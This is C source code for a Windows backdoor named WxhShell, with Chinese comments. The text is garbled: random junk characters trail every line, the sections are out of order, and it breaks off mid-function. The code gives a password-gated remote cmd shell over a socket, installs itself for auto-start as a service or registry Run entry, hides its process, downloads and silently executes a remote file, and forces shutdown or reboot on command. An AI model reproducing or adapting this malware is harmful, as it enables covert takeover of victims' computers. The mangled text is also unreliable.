  // 关机 =s:Z-*vy!  
  case 'd': { BWkTQd<t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z|<?=c2P  
    if(Boot(SHUTDOWN)) 5hDm[*83  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bW GMgC  
    else { Rf!$n7& \  
    closesocket(wsh); mW3 IR3 b  
    ExitThread(0); =)! ~t/  
    } 2FM}" g<8  
    break; WXa<(\S\V  
    } A4)TJY 3g  
  // 获取shell 5_rx$avm  
  case 's': { /vLW{%  
    CmdShell(wsh); DH])Q5  
    closesocket(wsh); RV@mAw.T  
    ExitThread(0); NC"X{$o2  
    break; ,H] S-uK~  
  } ;(Z9.  
  // 退出 O}z-g&e.U  
  case 'x': { gZL,xX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DLoH.Fd  
    CloseIt(wsh); FY,)iZ}Pq  
    break; 6^,;^   
    } v|rBOv  
  // 离开 "i\^GK=  
  case 'q': { :>3?|Z"Aj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZkF6AF   
    closesocket(wsh); ?V =#x.9  
    WSACleanup(); =GC,1WVEqV  
    exit(1); :f0#4'f  
    break; ' $"RQ=  
        } 5C5OLAl v  
  } !wo  
  } 50Ov>(f@7  
C|S~>4`  
  // 提示信息 `>HrO}x^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); % 3<7HY]~  
} H6M G5f_  
  } GjX6noqT  
cJ'OqV F  
  return; )D7/[zb^  
} 3 5p) e c  
R-Gg= l5  
// shell模块句柄 :;w#l"e7<  
int CmdShell(SOCKET sock) =DXN`]uN  
{ 4 udW 6U  
STARTUPINFO si;  qy/t<2'  
ZeroMemory(&si,sizeof(si)); $AdBX}{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =A_fL{ SM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +EH"A  
PROCESS_INFORMATION ProcessInfo; "6i3'jc`  
char cmdline[]="cmd"; OgCz[QXr_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (J.k\d   
  return 0; x-~=@oiv  
} Am"&ApK  
ka*#O"}L8  
// 自身启动模式 FlT5R*m  
int StartFromService(void) WIw*//nw  
{ 5p~hUP]tT  
typedef struct SnY{|  
{ 5i=C?W`'  
  DWORD ExitStatus; [G"Va_A8  
  DWORD PebBaseAddress; 9D7i>e%,;-  
  DWORD AffinityMask; z2 mjm  
  DWORD BasePriority; sE[ Yg8yAt  
  ULONG UniqueProcessId; IJDE{)  
  ULONG InheritedFromUniqueProcessId; vU9:` @beu  
}   PROCESS_BASIC_INFORMATION; f%rZ2h)  
8Y/1+-  
PROCNTQSIP NtQueryInformationProcess; mTLJajE/  
ur[^/lxx0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YRU95K [  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H'&[kgnQ@  
<4582x,G  
  HANDLE             hProcess; m%s:4Z%=  
  PROCESS_BASIC_INFORMATION pbi; ~re~Ys  
KY\=D 2m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !i\ gCLg2_  
  if(NULL == hInst ) return 0; +tJ 7ZR%  
WF<3 7"A@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 22 feYm|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \q^:$iY~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]D,\(|  
-L!lJ  
  if (!NtQueryInformationProcess) return 0; x kdC -S  
bbT$$b-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D THWL  
  if(!hProcess) return 0; P=Su)c  
e/}4Pt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5t-, 5  
\jx3Fs:Q  
  CloseHandle(hProcess); -\2hSIXj  
e(Rbq8D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J|`.d46  
if(hProcess==NULL) return 0; "Cs36k  
I:("f+ H  
HMODULE hMod; z, n[}Q#u  
char procName[255]; hw=~ %f;  
unsigned long cbNeeded; &d\ y:7  
my#\(E+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R[@}Lg7+v  
ri6KD  
  CloseHandle(hProcess); L+}<gQJ(  
LL==2KNUo  
if(strstr(procName,"services")) return 1; // 以服务启动 w/*m_O\!  
]'pL*&"X  
  return 0; // 注册表启动 M~~)tJYsu  
} t(jE9t|2e6  
w"C,oo3  
// 主模块 M{4XNE]m  
int StartWxhshell(LPSTR lpCmdLine) kT:I.,N   
{ nu(7Y YCM$  
  SOCKET wsl; o=Y'ns^a(  
BOOL val=TRUE; ]J@-,FFC  
  int port=0; D"%>  
  struct sockaddr_in door; I5 qrHBJ >  
l]OzE-*$b  
  if(wscfg.ws_autoins) Install(); c=X+uO-  
mhB2l/  
port=atoi(lpCmdLine); ij;P5OA  
buT6 )~lw  
if(port<=0) port=wscfg.ws_port; %r8;i  
g/VV2^,  
  WSADATA data; <y?=;54a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ej1 <T,w_  
c94=>p6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p}<60O"r$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ov ^##E  
  door.sin_family = AF_INET; ~H1<8py\J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _ ,/~P)  
  door.sin_port = htons(port); Nd&UWk^  
XK})?LTD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Keem \/  
closesocket(wsl); P^tTg  
return 1; ESYF4-d+  
} V@[C=K  
{Wu[e,p  
  if(listen(wsl,2) == INVALID_SOCKET) { n 4y]h  
closesocket(wsl); fP\q?X@]E  
return 1; 8KYIHw  
} 8QoxU" c&  
  Wxhshell(wsl); x0WinLQ  
  WSACleanup(); YV!hlYOBi  
2;0eW&e   
return 0; N$x&k$w R  
kw E2V+2  
} Ih>s2nL  
)Yv=:+f  
// 以NT服务方式启动 hidQOh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zo8D"  
{ ~?FhQd\Q  
DWORD   status = 0; L9lJ4s  
  DWORD   specificError = 0xfffffff; E&eY79  
:mW< E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q$v00z]f*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `j(._`8%a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kwL|gO1L  
  serviceStatus.dwWin32ExitCode     = 0; ts9wSx~[+  
  serviceStatus.dwServiceSpecificExitCode = 0; =/`]lY&  
  serviceStatus.dwCheckPoint       = 0; 8|)^m[c&  
  serviceStatus.dwWaitHint       = 0; Cs7ol-\)  
sRA2O/yKCE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }ML2-k  
  if (hServiceStatusHandle==0) return; %,~?;JAj  
;o9ixmT<-o  
status = GetLastError();  ,w3-*z  
  if (status!=NO_ERROR) f:ObI  
{ V~ORb1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vg1J N"S[  
    serviceStatus.dwCheckPoint       = 0; d?T!)w  
    serviceStatus.dwWaitHint       = 0; P{Nvt/%  
    serviceStatus.dwWin32ExitCode     = status; w2LnY1A  
    serviceStatus.dwServiceSpecificExitCode = specificError; ETDWG_H |  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oz!)x\m*H  
    return; `z!AjAT-G  
  } F`D$bE;|  
h:Pfiw]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N/ a4Gl(  
  serviceStatus.dwCheckPoint       = 0; |Ajd$+3  
  serviceStatus.dwWaitHint       = 0; J;4x$BI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4.9qB  
} d4y#n=HnnV  
EC?5GNGT,  
// 处理NT服务事件,比如:启动、停止 /T _M't@j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %i9S"  
{ !6/UwPs  
switch(fdwControl) /~LE1^1&U  
{ e!u]l  
case SERVICE_CONTROL_STOP: tP'v;$)9F  
  serviceStatus.dwWin32ExitCode = 0; yR$_ZXsd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G(E1c"?  
  serviceStatus.dwCheckPoint   = 0; `YOYC  
  serviceStatus.dwWaitHint     = 0; Tm %5:/<8  
  { -`]9o3E7H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M9"Bx/  
  } U9 iI2$  
  return; H,> }t S  
case SERVICE_CONTROL_PAUSE: d) -(C1f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  A 3 V  
  break; C:E f6ZW  
case SERVICE_CONTROL_CONTINUE: {;$oC4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jz!I +  
  break; M5bE5C  
case SERVICE_CONTROL_INTERROGATE: d9{lj(2P  
  break; r-qe7K@p  
}; _zj^k$ j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BM :x`JY  
} N*gJu  
I~7iIUD  
// 标准应用程序主函数 'F W?   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f3UCELJ  
{ f_k'@e{  
[-(^>Y  
// 获取操作系统版本 -%fQr5  
OsIsNt=GetOsVer(); 4"&-a1N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (\:Rnl  
4Kj.o  
  // 从命令行安装 c=sV"r?  
  if(strpbrk(lpCmdLine,"iI")) Install(); *Y>w0k  
z5@XFaQ  
  // 下载执行文件 D]~K-[V?l  
if(wscfg.ws_downexe) { rWht},-|1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &8IBf8  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^J^,@ Hf_  
} QE]'Dc%  
Ts!'>_<Je  
if(!OsIsNt) { ')xOL =w  
// 如果时win9x,隐藏进程并且设置为注册表启动 L;V 8c  
HideProc(); I%d=c0>%  
StartWxhshell(lpCmdLine); -y.cy'$f  
} >LBA0ynh {  
else KjGu !B  
  if(StartFromService()) a>j}@8[J  
  // 以服务方式启动 ]B/> =t"E  
  StartServiceCtrlDispatcher(DispatchTable); _H$Lu4b)N  
else hjL;B 'IL  
  // 普通方式启动 hBU)gP75  
  StartWxhshell(lpCmdLine); o U=vl!\J  
Y"FV#<9@7E  
return 0; /pMOinuO  
} 66val"^W  
[Uup5+MCv  
EL,k z8  
ztVTXI%Kz  
=========================================== 5=o^/Vkc  
2@ S}x@^  
R3B+vLGX  
qO{z{@jo55  
` GF w?G  
P<pv@ l9)  
" ~b_DFj  
UytMnJ88  
#include <stdio.h> CX]1I|T5  
#include <string.h> 4  OPY  
#include <windows.h> |4\1V=(  
#include <winsock2.h> [t4v/vQT  
#include <winsvc.h> sVyV|!K  
#include <urlmon.h> r;Sk[Y5#  
u=:f%l  
#pragma comment (lib, "Ws2_32.lib") /+*"*Br/  
#pragma comment (lib, "urlmon.lib") bZ* = fdh  
]\*^G@HA2  
#define MAX_USER   100 // 最大客户端连接数 3d}v?q78  
#define BUF_SOCK   200 // sock buffer NQ{(G8x9  
#define KEY_BUFF   255 // 输入 buffer )oIh?-WL  
v3r3$(Hr  
#define REBOOT     0   // 重启 ~qinCIj  
#define SHUTDOWN   1   // 关机 9c^,v_W@  
~0MpB~ {xd  
#define DEF_PORT   5000 // 监听端口 =E9\fRGU  
YTTyMn  
#define REG_LEN     16   // 注册表键长度 wnS,Jl  
#define SVC_LEN     80   // NT服务名长度 &=lc]sk  
}`qAb/Ov  
// 从dll定义API ;,bgJgK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d:)#-x*h7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fJS:46  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =x<N+vjXY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w/|&N>ZOx  
K6DN>0sY  
// wxhshell配置信息 5Zq hyv=  
struct WSCFG {  l<6G Z  
  int ws_port;         // 监听端口 RU)(|;  
  char ws_passstr[REG_LEN]; // 口令 wn"}<ka  
  int ws_autoins;       // 安装标记, 1=yes 0=no "BQnP9  
  char ws_regname[REG_LEN]; // 注册表键名 nCYkUDnZ  
  char ws_svcname[REG_LEN]; // 服务名 Ty g>Xv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <YvXyIs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qFmw9\Fn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )] @h}K}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cx[^D,usf~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]oP1c-GEk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !|[rh,e]  
;1(^H:7T  
}; of B:7  
RHUZ:r  
// default Wxhshell configuration >~o- 6g  
struct WSCFG wscfg={DEF_PORT, :a}](Wn  
    "xuhuanlingzhe", T.da!!'B f  
    1, wv9HiHz8gD  
    "Wxhshell", !v}TRGX  
    "Wxhshell", 8^>qor.]M  
            "WxhShell Service", /2p*uv }IP  
    "Wrsky Windows CmdShell Service", &N^j }^ Z  
    "Please Input Your Password: ", ?tLApy^`?  
  1, c_>Gl8J  
  "http://www.wrsky.com/wxhshell.exe", U}w'/:H  
  "Wxhshell.exe" .\ Ijq!  
    }; }Ulxt:}   
r `PJb5^\|  
// 消息定义模块 wtS*-;W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yCxYFi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D0Q9A]bD;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W %*#rcdq  
char *msg_ws_ext="\n\rExit."; O,r;-t4vYU  
char *msg_ws_end="\n\rQuit."; p!pf2}6Fd  
char *msg_ws_boot="\n\rReboot..."; X.b8qbnq[  
char *msg_ws_poff="\n\rShutdown..."; yXU.PSG*  
char *msg_ws_down="\n\rSave to "; nQc,^A)I  
+4 k=Y  
char *msg_ws_err="\n\rErr!"; 'D21A8*N  
char *msg_ws_ok="\n\rOK!"; {;{U@Z  
t\,Y<9{w  
char ExeFile[MAX_PATH]; n{gEIUo#  
int nUser = 0; q%sZV>  
HANDLE handles[MAX_USER]; lEk@I"  
int OsIsNt; -PpcFLZ|  
%n|  
SERVICE_STATUS       serviceStatus; _wKwiJs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Jxvh;  
h ;*x1BVE  
// 函数声明 YYQvt  
int Install(void); F{x+1hct0  
int Uninstall(void); gWr7^u&q@|  
int DownloadFile(char *sURL, SOCKET wsh); 'WW:'[Syn'  
int Boot(int flag); @} Ig*@  
void HideProc(void); cQEUHhRg!  
int GetOsVer(void); FI^Wh7J  
int Wxhshell(SOCKET wsl); #QwkRzVoy  
void TalkWithClient(void *cs); %5e|  
int CmdShell(SOCKET sock); C~2!@<y  
int StartFromService(void); l|.}>SfL^u  
int StartWxhshell(LPSTR lpCmdLine); UyRy>:n  
lsax.uG5x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CzBYH   
VOID WINAPI NTServiceHandler( DWORD fdwControl );  ;+~5XLk  
.`IhxE~mN  
// 数据结构和表定义 Em!- W5*s  
SERVICE_TABLE_ENTRY DispatchTable[] = ':n`0+Eh  
{ e0(/(E:  
{wscfg.ws_svcname, NTServiceMain}, \HO)ss)"  
{NULL, NULL} GxhE5f;  
}; v6 5C j2ec  
'J?{/O^  
// 自我安装 k-ZO/yPo  
int Install(void) ,-6Oma -  
{ :|bL2T@>[  
  char svExeFile[MAX_PATH]; -m^- p  
  HKEY key; pB:XNkxL  
  strcpy(svExeFile,ExeFile); E ASnh   
JSB+g;  
// 如果是win9x系统,修改注册表设为自启动 H@(O{ 9Yl;  
if(!OsIsNt) { 7Yg1z%%U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v]cw})l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s~7a-J  
  RegCloseKey(key);  DXf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "1,*6(;:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9:2Bt <q  
  RegCloseKey(key); wh(_<VZ  
  return 0; KkUK" Vc  
    } KPToyCyR1  
  } A}lxJ5h0  
} % mQ&pk  
else { as@8L|i*  
qxI $F  
// 如果是NT以上系统,安装为系统服务  Gsh9D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); obvE m[x!Z  
if (schSCManager!=0) f7*Qa!!2p]  
{ :u7BCV|yr  
  SC_HANDLE schService = CreateService =K:[26  
  ( s",Ea*  
  schSCManager, Z#}sK5s  
  wscfg.ws_svcname, %UI^+:C  
  wscfg.ws_svcdisp, j/aJDE(+  
  SERVICE_ALL_ACCESS, kEh\@x[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4ior  
  SERVICE_AUTO_START, ovp/DM  
  SERVICE_ERROR_NORMAL, Qhj']>#g  
  svExeFile, 1i#y>fUj  
  NULL, u.yR oZ8/!  
  NULL, U$5x#{AFp  
  NULL, J?V$V >d  
  NULL, byI" ?  
  NULL %1 )c{7  
  ); dy+A$)gY<  
  if (schService!=0) {|oWU8.l  
  { 'ayb`  
  CloseServiceHandle(schService); i@9 qp?eb  
  CloseServiceHandle(schSCManager); 45 ^ Z5t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GFT@Pqq  
  strcat(svExeFile,wscfg.ws_svcname); _S) K+C|@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { frcX'M}%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K3mP6Z#2  
  RegCloseKey(key); ! \s}A7  
  return 0; a &tWMxBr  
    } B=]j=\o  
  } )M<+?R$];  
  CloseServiceHandle(schSCManager); JLm3qIC  
} Dspvc  
} Pyuul4(  
)<HvIr(xr  
return 1; :WRD<D_4  
} uzxwJs'fz  
= 9Yf o,F  
// 自我卸载 fuj9x;8X0  
int Uninstall(void) v(;yy{>8"  
{ ]?]M5rP  
  HKEY key; Z=8&`  
6-\Mf:%B  
if(!OsIsNt) { ~+{*KPiD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F9LKO3Rh#u  
  RegDeleteValue(key,wscfg.ws_regname); =+_nVO*  
  RegCloseKey(key); 2Rw<0.i|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3!9JXq%Hl  
  RegDeleteValue(key,wscfg.ws_regname); M_!]9#:K7  
  RegCloseKey(key); d21thV ,S  
  return 0; 2D%2k  
  } `]65&hWZL  
} 0y$VPgsKf  
} bYLYJ`hH<R  
else { x"Ll/E)\v]  
Pt85q?->  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A!GvfmzqIn  
if (schSCManager!=0) CE M4E  
{ W^09tx/I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 07SW$INb  
  if (schService!=0) ;#zteqn  
  { 4Yvz-aSyO  
  if(DeleteService(schService)!=0) { c9c]1XJ  
  CloseServiceHandle(schService); #jBmWaP.  
  CloseServiceHandle(schSCManager); ?8$`GyjS  
  return 0; 3~fi#{  
  } :JSxsA6 k  
  CloseServiceHandle(schService); DSHvBFQ  
  } ^GV'Y  
  CloseServiceHandle(schSCManager); =( ZOn=IL  
} 346 z`5  
} "yH?df24  
%qcCv9  
return 1; \X\< +KU  
} } Nn+Ny  
,]\cf  
// 从指定url下载文件 P8=|#yCi  
int DownloadFile(char *sURL, SOCKET wsh) `ZL^+h<b>M  
{ F~=kMQO  
  HRESULT hr; D)G oWt  
char seps[]= "/"; \\EX'L  
char *token; 9Avj\G  
char *file; Z5'^Hj1,  
char myURL[MAX_PATH]; a4uy}@9z  
char myFILE[MAX_PATH]; :V6 [_VaF  
LS*L XC  
strcpy(myURL,sURL); zq + 2@"q  
  token=strtok(myURL,seps); nN$.^!;&  
  while(token!=NULL)  R<1%Gdz  
  { waz5+l28  
    file=token; d(}? \|  
  token=strtok(NULL,seps); Ag T)J  
  } Mh3.GpS  
?IeBo8  
GetCurrentDirectory(MAX_PATH,myFILE); t$qIJt$  
strcat(myFILE, "\\"); PJ:!O?KVq  
strcat(myFILE, file); |}^u<S8X  
  send(wsh,myFILE,strlen(myFILE),0); W0x9^'=s\  
send(wsh,"...",3,0); v8)wu=u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ib{#dhV  
  if(hr==S_OK) 8Mtd}{Fw*  
return 0; hTO5*5]0zP  
else m^BXLG:b  
return 1; 5vD\?,f E  
h)sT37  
} 'r=2f6G>cP  
e\(X:T  
// 系统电源模块 k t`ln  
int Boot(int flag) tWl' )^  
{ P_jav 0j7g  
  HANDLE hToken; fph+ 05.%  
  TOKEN_PRIVILEGES tkp; ^+%bh/2_W  
r[):'ys,C  
  if(OsIsNt) { M&=SvM.f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7]So=% q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LTBH/[q5  
    tkp.PrivilegeCount = 1; X)(K|[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QpzdlB44l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <gX({FA  
if(flag==REBOOT) { A/9<} m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kqX %y  
  return 0; pno}`Cer  
} ]~$@x=p2e  
else { ~:,}?9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _Cf:\Xs m  
  return 0; nGTGX  
} Ax|'uvVAPT  
  } I`xC0ZUKj  
  else { **-rPonM[  
if(flag==REBOOT) { UazK0{t<f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RJ3uu NK7  
  return 0; 8 |= c3Z  
} =KO]w9+\  
else { @fA| y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `B&E?x  
  return 0;  [A,!3BN  
} /qKor;x  
} VPYcA>-%u  
2OI 0B\  
return 1; 0 -M i q  
} xc'uC bH  
VWd`06'BN'  
// win9x进程隐藏模块 u*qI$?&  
void HideProc(void) =MJRQ V67  
{ jB9~'>JY  
S_*Gv O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [+5g 9tBJ  
  if ( hKernel != NULL ) lO9Ixhf~iu  
  { G]xYQ]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |$\1E+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?$I9/r  
    FreeLibrary(hKernel); ,;MUXCC'  
  } N DI4EA~z  
2 N(Z^  
return; 3J8>r|u;1'  
} ADxje%!1O  
Qru&lAYc<  
// 获取操作系统版本 3XUVUd~  
int GetOsVer(void) Xsn M}  
{ sJQ~ :p0e  
  OSVERSIONINFO winfo; UZ<.R"aK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C_ ;nlG6  
  GetVersionEx(&winfo); VNz? e&>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a` 9pHH:7Q  
  return 1; -#<{3BJTrz  
  else p4\sKF8-  
  return 0; y] 9/Xr/  
} uDcs2^2l  
D'moy*E  
// 客户端句柄模块 [T'[7 Z  
int Wxhshell(SOCKET wsl) c#?~1@=  
{ 1H%p|'FKA  
  SOCKET wsh; 1bz^$2/k  
  struct sockaddr_in client; 55`p~:&VQ  
  DWORD myID; (,mV6U%  
u"T9w]Z\  
  while(nUser<MAX_USER) <tO@dI$~>  
{ 1DU l<&4  
  int nSize=sizeof(client); GM8>u O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KDf#e3  
  if(wsh==INVALID_SOCKET) return 1; v0!(&g 3Sd  
| h"$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [SKDsJRPP  
if(handles[nUser]==0) O\oRM2^u}  
  closesocket(wsh); dA2@PKK  
else Gys-Im6>~@  
  nUser++; e&A3=a~\s  
  } -=lL{oB1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7On.y*  
lHliMBSc  
  return 0; Bn.R,B0PL  
} E@Ewx;P5  
!z :j-gT3  
// 关闭 socket 0%|)=T3Slu  
void CloseIt(SOCKET wsh) _h,X3P   
{ 4y4r;[@U  
closesocket(wsh); <%|u1cn~!v  
nUser--; Mc8_D,7  
ExitThread(0); ,9F3~Ryt(  
} ^G5fs'd  
qUg/mdv&  
// 客户端请求句柄 EKw)\T1  
void TalkWithClient(void *cs) aWvC-vZk  
{ zLxuxf~4@  
.;U?%t_7  
  SOCKET wsh=(SOCKET)cs; cJSwA&  
  char pwd[SVC_LEN]; .R4,fCN  
  char cmd[KEY_BUFF]; TR `C|TV>  
char chr[1]; Zu~t )W  
int i,j; 2h}FotlO  
"-5FUKI-  
  while (nUser < MAX_USER) { qauvwAMuX  
]$.w I~J%  
if(wscfg.ws_passstr) { ^[+2P?^K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;Hp78!#,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )-iUUak  
  //ZeroMemory(pwd,KEY_BUFF); 5,O:"3>c  
      i=0; KB^GC5L>  
  while(i<SVC_LEN) { {~#01p5  
)Fqtb;W=  
  // 设置超时 x a\~(B.  
  fd_set FdRead; 23+JuXC6>  
  struct timeval TimeOut; z)eNM}cF  
  FD_ZERO(&FdRead); %3=T7j  
  FD_SET(wsh,&FdRead); u ^2/:L  
  TimeOut.tv_sec=8; :.{d,)G  
  TimeOut.tv_usec=0; @.dM1DN)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }lq$Fi/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WhFE{-!gX  
P;X0L{u0H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6%o@!|=I  
  pwd=chr[0]; E=bZ4 /  
  if(chr[0]==0xd || chr[0]==0xa) { d;3f80Kd*  
  pwd=0; ^"uD:f)  
  break; n"~K",~P  
  } iH dX  
  i++; \f]w'qiW5  
    } nkN2Bqt$  
Xp6Z<Z&N  
  // 如果是非法用户,关闭 socket wk=s3^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <8h3)$  
} XCez5Q1  
Xz/aytp~A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R$it`0D4o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t`Xx\  
hy~KY6Ta  
while(1) { ^g<Lu/5w  
>Fe=PRs  
  ZeroMemory(cmd,KEY_BUFF); @te}Asv  
jC-`u-_'j  
      // 自动支持客户端 telnet标准   ,oEAWNbgQ  
  j=0; b$*G&d5  
  while(j<KEY_BUFF) { Jcp=<z*0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 20A:,pMb  
  cmd[j]=chr[0]; S4E@wLi  
  if(chr[0]==0xa || chr[0]==0xd) { @}%kSn5y:  
  cmd[j]=0; "`pg+t&  
  break; zR=g<e1xe  
  } bDegIW/'w  
  j++; ~ihi!u%~}  
    } XNBzA3W  
GIK.+kn\  
  // 下载文件 O=u.J8S2  
  if(strstr(cmd,"http://")) { :19s=0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {D]I[7f8Ev  
  if(DownloadFile(cmd,wsh)) N B8Yn\{B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u)D!RhV&  
